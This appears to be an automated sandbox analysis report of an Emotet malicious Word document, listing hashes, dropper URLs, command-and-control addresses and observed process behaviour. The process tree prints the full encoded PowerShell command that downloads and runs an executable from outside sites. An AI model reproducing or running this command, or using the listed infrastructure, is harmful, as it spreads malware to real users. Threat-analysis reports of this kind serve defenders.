emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
153s
max time network
165s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-20_110714.doc
Size

238KB
MD5

c5331b638b6bc394f57bcb68cabef957
SHA1

e2b0039ba2efc82e6bb12128d4af5a8addf115f3
SHA256

b8bdf41de3c7164959a77c17aadc89e7269e51ac40893916ca94e7b6ad62d358
SHA512

23c4ce32cfd305d7fdfd17d5ff35f5fbeca1c3456e579a9786a08655e93ae25c86697b303268f33162137c23b385b34285c8ef4098f7929d17b5e7cb6f807e13

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://blog.hasilkan.com/cgi-bin/LxoH/

exe.dropper

http://luatsusaigon.info/libs/zgis/

exe.dropper

https://primalis.com.vn/wp-content/uploads/2020/rxm/

exe.dropper

https://womenhealth.aureliusconferences.com/events/bYIkt2OE/

exe.dropper

https://travelciwidey.com/wp-includes/kaU705/

Extracted

Family

emotet

68.114.229.171:80

74.101.225.121:443

152.168.248.128:443

217.160.19.232:8080

176.9.43.37:8080

5.199.130.105:7080

37.187.72.193:8080

68.172.243.146:80

181.143.126.170:80

108.191.2.72:80

85.152.174.56:80

101.187.197.33:443

121.88.5.176:443

189.203.177.41:443

78.186.5.109:443

66.34.201.20:7080

209.141.54.221:8080

181.126.70.117:80

87.106.136.232:8080

181.13.24.82:80

rsa_pubkey.plain

Signatures

Drops file in System32 directory 6 IoCs

Processes:

sendmult.exe45.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	sendmult.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	sendmult.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	sendmult.exe
File renamed	C:\Users\Admin\45.exe => C:\Windows\SysWOW64\sendmult.exe	45.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	sendmult.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	sendmult.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

Powershell.exesendmult.exe

pid process

3716 Powershell.exe
3716 Powershell.exe
3716 Powershell.exe
3716 Powershell.exe
716 sendmult.exe
716 sendmult.exe
716 sendmult.exe
716 sendmult.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

45.exesendmult.exe

pid process

3744 45.exe
716 sendmult.exe

pid	process
3716	Powershell.exe
3716	Powershell.exe
3716	Powershell.exe
3716	Powershell.exe
716	sendmult.exe
716	sendmult.exe
716	sendmult.exe
716	sendmult.exe

pid	process
3744	45.exe
716	sendmult.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3716 Powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

Powershell.exe

flow pid process

23 3716 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3716	Powershell.exe

flow	pid	process
23	3716	Powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

Powershell.exe45.exesendmult.exe

description	pid	process	target process
PID 3716 wrote to memory of 2784	3716	Powershell.exe	45.exe
PID 3716 wrote to memory of 2784	3716	Powershell.exe	45.exe
PID 3716 wrote to memory of 2784	3716	Powershell.exe	45.exe
PID 2784 wrote to memory of 3744	2784	45.exe	45.exe
PID 2784 wrote to memory of 3744	2784	45.exe	45.exe
PID 2784 wrote to memory of 3744	2784	45.exe	45.exe
PID 896 wrote to memory of 716	896	sendmult.exe	sendmult.exe
PID 896 wrote to memory of 716	896	sendmult.exe	sendmult.exe
PID 896 wrote to memory of 716	896	sendmult.exe	sendmult.exe

Executes dropped EXE 4 IoCs

Processes:

45.exe45.exesendmult.exesendmult.exe

pid process

2784 45.exe
3744 45.exe
896 sendmult.exe
716 sendmult.exe

pid	process
2784	45.exe
3744	45.exe
896	sendmult.exe
716	sendmult.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3956 WINWORD.EXE
3956 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3716	2500	Powershell.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-20_110714.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABNAGkAagBtAGwAdwBjAGYAegA9ACcAWQB3AHAAbwBnAGwAbgB6AGwAZQB2AGIAeAAnADsAJABNAG0AZABlAGIAYwBzAGoAcABkAGkAeQBuACAAPQAgACcANAA1ACcAOwAkAFcAYgBkAHMAdwBwAHgAbwBqAD0AJwBCAGMAagBnAGQAbQBlAGUAdwB1AGEAeAAnADsAJABRAGwAZgBsAHIAawB1AGMAYQByAHIAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQBtAGQAZQBiAGMAcwBqAHAAZABpAHkAbgArACcALgBlAHgAZQAnADsAJABPAHQAYQBxAGgAbQBtAGkAcQBnAD0AJwBaAGEAaQB6AGIAZgB6AHIAbQB3AGIAeAByACcAOwAkAE8AbgBqAHYAcQB6AHYAYwBhAHoAbQBjAHcAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAYwBsAEkARQBOAHQAOwAkAEoAcQBoAG0AbwBsAGwAagBpAHMAeQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AaABhAHMAaQBsAGsAYQBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ATAB4AG8ASAAvACoAaAB0AHQAcAA6AC8ALwBsAHUAYQB0AHMAdQBzAGEAaQBnAG8AbgAuAGkAbgBmAG8ALwBsAGkAYgBzAC8AegBnAGkAcwAvACoAaAB0AHQAcABzADoALwAvAHAAcgBpAG0AYQBsAGkAcwAuAGMAbwBtAC4AdgBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAyADAAMgAwAC8AcgB4AG0ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbQBlAG4AaABlAGEAbAB0AGgALgBhAHUAcgBlAGwAaQB1AHMAYwBvAG4AZgBlAHIAZQBuAGMAZQBzAC4AYwBvAG0ALwBlAHYAZQBuAHQAcwAvAGIAWQBJAGsAdAAyAE8ARQAvACoAaAB0AHQAcABzADoALwAvAHQAcgBhAHYAZQBsAGMAaQB3AGkAZABlAHkALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsAYQBVADcAMAA1AC8AJwAuACIAcwBwAGAAbABpAHQAIgAoACcAKgAnACkAOwAkAFcAZwBtAHYAZQBnAGgAaQB3AHcAeABiAD0AJwBTAG0AZABkAGgAbQBkAHYAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBzAGEAeQB4AHIAeQBmAHoAIABpAG4AIAAkAEoAcQBoAG0AbwBsAGwAagBpAHMAeQApAHsAdAByAHkAewAkAE8AbgBqAHYAcQB6AHYAYwBhAHoAbQBjAHcALgAiAGQAbwBXAGAATgBgAGwAYABPAGEAZABGAGkAbABFACIAKAAkAFkAcwBhAHkAeAByAHkAZgB6ACwAIAAkAFEAbABmAGwAcgBrAHUAYwBhAHIAcgBnACkAOwAkAFgAZQB5AHMAcwBkAHoAcwB0AHAAYgBlAD0AJwBQAHMAcwBtAGMAZQBkAGQAawB1AGsAeAB1ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBsAGYAbAByAGsAdQBjAGEAcgByAGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAyADcAMgA4ADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAUQBsAGYAbAByAGsAdQBjAGEAcgByAGcAKQA7ACQAQQBrAHQAYQBoAGIAaQBwAGQAdAB4AD0AJwBTAHEAaQB0AGUAcwB0AGwAJwA7AGIAcgBlAGEAawA7ACQATwByAHUAdQBlAGkAdQBpAHEAcABlAG8APQAnAEoAcgBuAGsAYwBpAGoAZwB1AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlAHEAcQBpAGQAcgBwAD0AJwBNAGgAZABoAGoAawBoAHQAeQBkACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:3716

C:\Users\Admin\45.exe
"C:\Users\Admin\45.exe"
2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2784

C:\Users\Admin\45.exe
--9a306e6b
3⤵
- Drops file in System32 directory
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
PID:3744

C:\Windows\SysWOW64\sendmult.exe
"C:\Windows\SysWOW64\sendmult.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:896

C:\Windows\SysWOW64\sendmult.exe
--def0438a
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
PID:716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\45.exe

Download Submit
C:\Users\Admin\45.exe

Download Submit
C:\Users\Admin\45.exe

Download Submit
C:\Windows\SysWOW64\sendmult.exe

Download Submit
C:\Windows\SysWOW64\sendmult.exe

Download Submit
memory/716-14-0x0000000000600000-0x0000000000615000-memory.dmp

Filesize
84KB

Download
memory/716-15-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/896-12-0x0000000000650000-0x0000000000665000-memory.dmp

Filesize
84KB

Download
memory/2784-7-0x0000000000630000-0x0000000000645000-memory.dmp

Filesize
84KB

Download
memory/3744-9-0x00000000007F0000-0x0000000000805000-memory.dmp

Filesize
84KB

Download
memory/3744-10-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download